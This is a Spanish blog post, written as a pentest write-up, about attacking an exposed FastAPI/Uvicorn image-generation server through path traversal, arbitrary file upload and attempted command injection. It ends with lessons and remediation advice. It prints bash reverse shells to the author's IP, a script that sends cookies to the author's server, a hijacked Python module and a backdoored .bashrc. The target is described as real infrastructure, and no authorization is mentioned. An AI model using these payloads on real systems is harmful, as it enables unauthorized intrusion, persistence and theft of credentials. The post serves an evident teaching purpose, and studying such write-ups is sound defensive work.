Cuando las Vulnerabilidades Existen Pero No Se Dejan Explotar: Una Lección de Humildad Técnica
“En el papel, la vulnerabilidad existe. En la infraestructura, la complejidad del entorno dicta si es explotable o no.”
- Fecha: 05 de Febrero de 2026
- Objetivo: xx.xxx.37.24 (ESP Image Server - Python/Uvicorn)
- Resultado: Vulnerabilidades confirmadas, explotación fallida
- Lección aprendida: El pentesting real no siempre termina con una shell
🎯 El Contexto: Cuando La Infraestructura Te Reta
Este no fue un CTF común donde sabes que hay una solución elegante esperándote. Esto fue una infraestructura real, un servidor a priori vulnerable, y que resultó ser mucho más resiliente de lo que esperaba.
El objetivo era simple en papel: una API REST construida en Python (FastAPI/Uvicorn) que manejaba la generación de imágenes para dispositivos ESP32. Swagger UI expuesto, múltiples endpoints, y la promesa de vulnerabilidades esperando ser explotadas.
Después de más de seis horas de trabajo intenso, múltiples vectores de ataque probados sistemáticamente, y docenas de payloads cuidadosamente crafteados, me encontré en una situación que todo pentester experimenta pero pocos admiten abiertamente: tenía las vulnerabilidades confirmadas frente a mí, pero no podía convertirlas en acceso real al sistema.
Esta es la historia de ese proceso, de las técnicas que funcionaron para descubrir pero fallaron para explotar, y de por qué a veces el mejor hallazgo es entender tus propias limitaciones.
🔍 Fase 1: Reconocimiento — El Mapa del Territorio
Enumeración Inicial
El escaneo con Nmap reveló un panorama interesante: múltiples servicios corriendo en puertos estándar y no estándar, infraestructura Cloudron en puertos web tradicionales, servicios de email configurados, y lo más tentador: el puerto 8000 ejecutando Uvicorn.
1
2
3
4
5
6
7
8
9
10
# Fragmento del escaneo
25/open/tcp//smtp///
80/open/tcp//http//nginx/
443/open/tcp//ssl|http//nginx/
465/open/tcp//ssl|smtp///
587/open/tcp//smtp///
993/open/tcp//imaps?///
995/open/tcp//pop3s?///
8000/open/tcp//http-alt//uvicorn/
30000-31337/open/tcp//filtered///
La presencia de Cloudron en los puertos estándar era interesante pero poco prometedora debido a Cloudflare en frente. Los servicios de email podrían tener potencial. Pero el puerto 8000 gritaba “atácame primero”.
El Descubrimiento: Swagger UI Expuesto
Navegar a http://xx.xxx.37.24:8000/docs fue como encontrar los planos arquitectónicos de un edificio que planeas infiltrar. Ahí estaba todo: documentación completa de la API, esquemas de datos, ejemplos de requests, endpoints críticos completamente mapeados.
Los endpoints que llamaron mi atención inmediatamente fueron tres:
POST /upload — Subida de archivos arbitrarios. El primer pensamiento obvio: ¿puedo subir un webshell? ¿Hay validación de tipo de archivo? ¿Dónde se guardan los archivos subidos?
POST /set-config — Configuración del servidor. Cualquier endpoint que modifica configuración es potencialmente peligroso. ¿Acepta JSON? ¿Valida el input? ¿Qué parámetros controla?
POST /generate — Generación de archivos binarios. Procesos que generan código o archivos son notoriamente difíciles de asegurar. ¿Qué librerías usa? ¿Hay inyección de plantillas? ¿Escapan las variables correctamente?
Fuga de Información: El Regalo Inesperado
Probar el endpoint /set-config con payloads básicos reveló algo que no debería estar visible: el código HTML completo del panel de administración, incluyendo rutas absolutas del sistema de archivos.
1
Error: cannot process file at '/home/prox/holi/uploads/test.png'
Ahí estaba todo lo que necesitaba saber para construir mis ataques: usuario del sistema (prox), estructura de directorios (/home/prox/holi/), y confirmación de que la aplicación procesaba archivos en una ubicación predecible.
Este tipo de fuga de información es exactamente lo que buscas en la fase de reconocimiento. No es la vulnerabilidad final, pero es el mapa que te dice dónde buscar.
🗡️ Fase 2: Confirmación de Vulnerabilidades — La Teoría Funciona
Path Traversal: La Vulnerabilidad Clásica
El endpoint /generate aceptaba un parámetro image_file que supuestamente debía apuntar a una imagen en el directorio de uploads. La pregunta obvia: ¿qué pasa si le doy una ruta que sale de ese directorio?
1
2
3
4
POST /generate
{
"image_file": "../../../../etc/passwd"
}
La respuesta del servidor fue reveladora:
1
Error: cannot identify image file '/home/prox/holi/uploads/../../../../etc/passwd'
Esto confirmaba tres cosas críticas. Primero, el servidor procesaba la secuencia ../ sin sanitización, permitiendo path traversal. Segundo, el archivo /etc/passwd existía y el servidor intentó accederlo (si no existiera, el error sería diferente). Tercero, había una librería gráfica (probablemente Pillow) intentando procesar el archivo como imagen, lo cual fallaba porque es texto plano.
Esta es una vulnerabilidad de manual: Local File Inclusion confirmada. En teoría, esto debería permitir leer archivos arbitrarios del sistema. En práctica, la librería gráfica se interpone entre nosotros y la exfiltración de datos.
Upload Overwrite: Escritura Arbitraria
El endpoint /upload era aún más permisivo. Aceptaba un parámetro filename que controlaba dónde se guardaba el archivo subido. Probando con path traversal:
1
2
3
POST /upload
filename=../../.ssh/authorized_keys
[archivo con llave SSH pública]
El servidor procesaba la request sin errores. El archivo se escribía. No había validación de la ruta de destino. Esto significa escritura arbitraria en cualquier ubicación del filesystem accesible por el usuario prox.
En la teoría del pentesting, esto es crítico: si puedes escribir archivos arbitrarios, puedes modificar configuraciones, sobrescribir código fuente, plantar backdoors, incluso modificar archivos del sistema si los permisos lo permiten.
Command Injection: El Espejismo
El parámetro array_name en /generate se usaba para nombrar variables en el código C generado. Probé todos los payloads clásicos de command injection:
1
2
3
4
5
6
7
# Intentos con diferentes shells y técnicas de bypass
test; bash -c 'bash -i >& /dev/tcp/[mi-ip]/4444 0>&1'
test;sleep${IFS}10;
test';sleep${IFS}10;'
test";sleep${IFS}10;"
test`sleep 10`
test$(sleep 10)
Todos resultaban en el mismo error: Internal Server Error 500. El servidor crasheaba, pero no ejecutaba los comandos. Las respuestas llegaban instantáneamente, sin delays, confirmando que sleep nunca se ejecutó.
Esto apuntaba a un patrón específico de implementación: el backend probablemente usaba subprocess.run() con lista de argumentos en lugar de os.system() con string concatenado. La diferencia es fundamental.
En os.system("comando " + input_usuario), el shell interpreta todo el string, haciendo que caracteres como ; funcionen como separadores de comandos. Es vulnerable por diseño.
En subprocess.run(["comando", input_usuario]), cada elemento de la lista es un argumento separado. El punto y coma se pasa literalmente como texto al comando, no como separador. Esto neutraliza la inyección clásica.
Era una implementación defensiva accidental: no estaban sanitizando el input, pero el diseño del código evitaba la ejecución.
💀 Fase 3: Intentos de Explotación — Cuando la Realidad No Coopera
Intento 1: SSH Key Injection
Con la capacidad de escribir archivos arbitrarios, la ruta obvia era comprometer SSH. Generé un par de llaves, subí la pública a .ssh/authorized_keys del usuario prox, y intenté conectarme.
1
ssh -i id_rsa prox@xx.xxx.37.24
El servidor pedía password. SSH ignoraba completamente mi llave. Esto sugería uno de varios problemas: permisos incorrectos en el archivo o directorio (SSH es extremadamente estricto con esto), el archivo no se escribió en la ubicación correcta, o SSH estaba configurado para deshabilitar autenticación por llaves.
Revisar esto requeriría acceso al servidor para ver logs y permisos, lo cual era exactamente lo que no tenía.
Intento 2: Template Injection / HTML Overwrite
Si no podía entrar por SSH, tal vez podía modificar la aplicación web directamente. Sobrescribí archivos en el directorio templates/ con HTML malicioso:
1
2
3
4
<!-- index.html modificado -->
<script>
fetch('http://[mi-servidor]/exfil?data=' + document.cookie);
</script>
El archivo se escribió exitosamente. Accedí a la aplicación web. El HTML no cambió. La página seguía mostrando el contenido original.
Esto indicaba que la aplicación usaba caché agresivo o recargaba los templates solo al reiniciar el servidor. Sin capacidad de reiniciar el servicio, este vector estaba bloqueado.
Intento 3: Reverse Shell via Firewall Bypass
Los intentos directos de reverse shell fallaban porque Azure bloqueaba conexiones salientes en puertos no estándar. Probé técnicas de bypass:
Usar puertos comunes que típicamente están permitidos (80, 443, 53). Tunneling a través de DNS (dnscat2). Reverse shell a través de ICMP. HTTP polling (la shell se conecta a mi servidor cada X segundos para buscar comandos).
Todos fallaban en el mismo punto: no podía ejecutar el código que iniciaría la conexión. Tenía escritura de archivos, pero no ejecución de código arbitrario.
Intento 4: Python Module Hijacking
Esta fue probablemente la técnica más sofisticada que intenté. La idea era explotar cómo Python importa módulos.
Python busca módulos en un orden específico: primero en el directorio actual, luego en paths del sistema. Si puedo escribir un archivo random.py o os.py en el directorio de la aplicación, cuando la aplicación haga import random, cargará mi código malicioso en lugar del módulo legítimo.
Escribí módulos maliciosos para librerías que la aplicación importaba:
1
2
3
4
# struct.py malicioso
import os
os.system('bash -c "bash -i >& /dev/tcp/[mi-ip]/4444 0>&1"')
# Código normal del módulo después para no romper la app
Sobrescribí struct.py y colorsys.py en el directorio de la aplicación. La próxima request que procesara el servidor debería importar mis módulos y ejecutar el payload.
El resultado: “Error: broken data stream”. El servidor crasheaba al intentar importar mi módulo corrupto, abortando antes de ejecutar mi payload. El proceso de Uvicorn tenía algún mecanismo de recuperación que reiniciaba el worker sin ejecutar código malicioso.
Estaba confirmando que mi código sí se cargaba (por eso el crash), pero el servidor se protegía matando el proceso antes de la ejecución completa.
🧠 Análisis Técnico: Por Qué Fallaron los Ataques
El Patrón del Error 500
Cada intento de inyección resultaba en HTTP 500 Internal Server Error con un tiempo de respuesta instantáneo. Esto es diagnóstico de un patrón específico de código:
1
2
3
4
5
6
7
8
9
# Patrón probable en el backend
try:
# Código que procesa input del usuario
array_name = request.json['array_name']
generated_code = f"static const uint8_t {array_name}[] = ..."
# ... más procesamiento
except Exception as e:
# Log del error
return {"error": "Internal Server Error"}, 500
El bloque try-except demasiado amplio captura cualquier excepción, incluyendo errores de sintaxis causados por payloads maliciosos, y aborta la ejecución antes de que el código problemático pueda correr.
Esto no es sanitización correcta del input (deberían validar y rechazar caracteres peligrosos antes del procesamiento), pero es efectivo como defensa accidental. Es como tener un sensor de humo que apaga toda la casa al detectar una chispa.
La Barrera de Pillow
La librería de procesamiento de imágenes (Pillow en Python) es extremadamente estricta sobre qué archivos acepta. Cuando intentaba leer archivos del sistema vía path traversal:
1
2
3
# Lo que probablemente hace el código
from PIL import Image
img = Image.open(file_path) # Falla si no es imagen válida
Pillow parsea los primeros bytes del archivo para identificar el formato (PNG, JPEG, etc.). Si encuentra texto plano, lanza una excepción inmediatamente. El bloque try-except captura esto y aborta.
No pude leer archivos de texto como /etc/passwd, código fuente Python, o archivos de configuración. Solo funcionaría con imágenes legítimas, lo cual no me servía para exfiltración.
El Dilema del Pentester: Teoría vs Práctica
Aquí está la realidad incómoda que experimenté: confirmé múltiples vulnerabilidades que en papel son de severidad alta o crítica según cualquier framework de scoring (CVSS, OWASP). Path traversal, escritura arbitraria de archivos, posible command injection, exposición de información sensible.
Pero no pude convertir ninguna en acceso real al sistema. No obtuve shell, no leí archivos sensibles, no ejecuté código arbitrario de forma controlada. En un engagement de pentesting real, esto plantea preguntas complejas sobre cómo reportar y clasificar estos hallazgos.
¿Es una vulnerabilidad crítica si existe en teoría pero no puede ser explotada prácticamente sin semanas de ingeniería reversa? ¿Dónde está la línea entre un hallazgo de severidad media y uno crítico?
🎓 Lo Que Este “Fracaso” Me Enseñó
Lección 1: Las Vulnerabilidades Teóricas No Garantizan Explotación
La educación en ciberseguridad tiende a presentar las vulnerabilidades como binarias: existe o no existe, funciona o no funciona. La realidad es mucho más matizada.
Hay un espectro continuo entre “completamente seguro” y “trivialmente explotable”. Este servidor vivía en algún punto intermedio: tenía agujeros de seguridad reales, pero una combinación de decisiones de diseño (algunas intencionales, otras accidentales) hacía la explotación práctica extremadamente difícil.
Aprendí a distinguir entre confirmar que una vulnerabilidad existe versus demostrar que puede ser explotada con impacto real. Ambas son habilidades valiosas, pero son diferentes.
Lección 2: El Valor del Reconocimiento Exhaustivo
Aunque no logré explotación final, el proceso de reconocimiento fue impecable. Mapeé completamente la superficie de ataque, identifiqué todos los endpoints relevantes, descubrí la estructura del filesystem, confirmé el usuario del sistema, entendí las tecnologías en uso.
Este conocimiento no se pierde. En un engagement real, este nivel de reconocimiento informaría el reporte de vulnerabilidades y las recomendaciones de remediación, incluso sin explotación completa.
Lección 3: Saber Cuándo Parar Es Una Habilidad
Hay un momento en todo pentest donde tienes que evaluar si seguir invirtiendo tiempo en un vector específico vale la pena versus explorar otros caminos o admitir que llegaste al límite de tu capacidad actual.
Invertí más de seis horas probando sistemáticamente docenas de técnicas diferentes. Cada intento fallido me enseñaba algo sobre cómo estaba construido el servidor. Pero llegó un punto donde seguir era terquedad, no metodología.
En el mundo real, el tiempo es un recurso limitado. Un pentester profesional tendría que decidir: ¿dedico otra semana a intentar explotar esto, o documento lo que encontré y paso al siguiente objetivo?
Lección 4: El Pentesting Real Es Messy
Los CTFs y los labs de práctica tienen soluciones elegantes. Hay una flag esperándote. Hay un camino claro de A a B.
El pentesting real es caótico, frustrante, y lleno de callejones sin salida. Pasas horas siguiendo una pista prometedora solo para descubrir que está bloqueada. Encuentras una vulnerabilidad perfecta en teoría que es inexplotable en práctica. Confirmas que algo está roto pero no puedes convertirlo en acceso.
Esta experiencia me dio una perspectiva mucho más realista de cómo es el trabajo de pentesting profesional, más allá de los escenarios controlados de aprendizaje.
🔄 Si Volviera a Intentarlo: Caminos No Explorados
Vector 1: Fuzzing Sistemático del Parser
No exploré exhaustivamente qué combinaciones exactas de caracteres causan qué tipos de errores en el endpoint de generación. Un script de fuzzing más sofisticado podría encontrar una secuencia específica que bypasea el try-except.
1
2
3
4
5
6
7
# Fuzzer hipotético
payloads = [
"test\x00sleep", # Null byte injection
"test\nsleep", # Newline injection
"test\rsleep", # Carriage return
# Combinaciones de encoding
]
Tal vez existe una forma de inyectar código que no causa una excepción de sintaxis en Python pero sí ejecuta comandos cuando el código generado se procesa.
Vector 2: Contaminación del Environment
Los archivos .bashrc y .profile que descubrí son ejecutados automáticamente cuando el usuario prox inicia sesión. Si pudiera forzar un login (quizás crasheando el servicio de forma que reinicie con el usuario prox), mi código malicioso en .bashrc se ejecutaría.
1
2
# En .bashrc sobrescrito
bash -i >& /dev/tcp/[mi-ip]/4444 0>&1
Esto requeriría encontrar una forma de reiniciar el servicio o forzar un nuevo login, lo cual no exploré completamente.
Vector 3: Explotación de Servicios Secundarios
Me enfoqué casi exclusivamente en el puerto 8000. Los servicios de email (SMTP 25/587, IMAP 993) quedaron sin explorar. Estos podrían tener configuraciones débiles, credenciales por defecto, o sus propias vulnerabilidades.
En retrospectiva, debí invertir tiempo en enumerar todos los servicios antes de hacer deep dive en uno solo.
Vector 4: Análisis de Tráfico y Race Conditions
No exploré si había race conditions en la forma que el servidor procesa uploads y genera archivos. Si dos requests simultáneas causan que el servidor sobrescriba archivos en medio del procesamiento, podría haber una ventana para inyectar código que sí se ejecuta.
1
2
3
# Thread 1: sube archivo legítimo
# Thread 2: sobrescribe el archivo mientras se procesa
# ¿El servidor ejecuta parte del original y parte del sobrescrito?
Esto requeriría scripting más sofisticado y timing preciso.
📊 El Reporte Que Escribiría
Si esto fuera un engagement profesional, mi reporte incluiría:
Vulnerabilidades Confirmadas (con evidencia):
V1: Path Traversal en endpoint /generate — Severidad Alta. Permite leer archivos del filesystem con limitación de que deben ser imágenes válidas. Impacto parcial pero real.
V2: Escritura Arbitraria de Archivos vía /upload — Severidad Crítica en papel, Alta en práctica. Permite modificar archivos del sistema pero explotación completa no demostrada.
V3: Information Disclosure en /set-config — Severidad Media. Expone rutas del sistema y estructura interna.
V4: Swagger UI sin autenticación — Severidad Baja. Facilita el reconocimiento pero no es explotable directamente.
Recomendaciones de Remediación:
Implementar validación estricta de paths en todos los endpoints que manejan archivos. Usar os.path.basename() para extraer solo el nombre de archivo, rechazando cualquier path que contenga ../ o rutas absolutas.
Autenticar el acceso a documentación de API (Swagger UI) o limitarlo solo a entornos de desarrollo.
Implementar sanitización de inputs además de error handling. Los bloques try-except no son una defensa de seguridad, son para recuperación de errores.
Restringir permisos del usuario que ejecuta el servicio. El usuario prox no debería tener write access a archivos críticos del sistema.
Considerar implementar un WAF o rate limiting para dificultar ataques de fuerza bruta y fuzzing.
💭 Reflexión Final: El Valor del Fracaso Técnico
No obtuve la shell. No capturé ninguna flag. No comprometí el sistema completamente.
Pero aprendí más de este desafío “fallido” que de muchos CTFs que resolví exitosamente. Experimenté la frustración real del pentesting profesional. Desarrollé resiliencia técnica al seguir probando enfoque tras enfoque sin rendirme. Profundicé en técnicas de explotación web que ahora entiendo visceralmente, no solo conceptualmente.
Este conocimiento no se pierde. Se acumula. La próxima vez que encuentre un servidor con path traversal, sabré exactamente qué limitaciones buscar. Cuando vea error 500s consistentes, reconoceré el patrón de try-except demasiado amplio. Cuando tenga escritura de archivos pero no ejecución, sabré que vectores explorar.
El pentesting no siempre termina con una shell root y una flag. A veces termina con un entendimiento profundo de cómo un sistema se defiende, qué técnicas no funcionan, y dónde están tus propios límites actuales.
Y eso, en su propia forma, es una victoria.
Porque el mejor pentester no es el que siempre tiene éxito. Es el que aprende de cada intento, documenta cada hallazgo, y convierte cada frustración en conocimiento para el próximo desafío.
El servidor sigue ahí, esperando. Tal vez en unos días, con perspectiva fresca, se me ocurra la técnica exacta que necesito. O tal vez no. Pero el proceso, la metodología, el aprendizaje — eso ya es mío.
Solve et coagula
¿Has enfrentado vulnerabilidades teóricas que no pudiste explotar? ¿Qué técnicas usas cuando el pentesting no va según el plan? Me encantaría conocer tus experiencias. Contáctame por alguna de mis redes.
Referencias Técnicas
Herramientas Usadas:
- Nmap 7.x — Port scanning y service enumeration
- ffuf — Web fuzzing y directory discovery
- Nuclei — Automated vulnerability scanning
- Burp Suite Community — Manual request manipulation
- curl/Python requests — Custom payload delivery
- Exegol — Pentesting environment
Lecturas Recomendadas:
- OWASP Testing Guide - Metodologías de testing
- PayloadsAllTheThings - Repositorio de payloads
- HackTricks - Técnicas de pentesting documentadas
- PortSwigger Web Security Academy - Labs interactivos
Conceptos Técnicos Explorados:
- Path Traversal / Local File Inclusion (LFI)
- Command Injection y bypass de filtros
- Python subprocess vs os.system security implications
- SSH authorized_keys file permissions
- Module hijacking en Python
- Defensive programming patterns
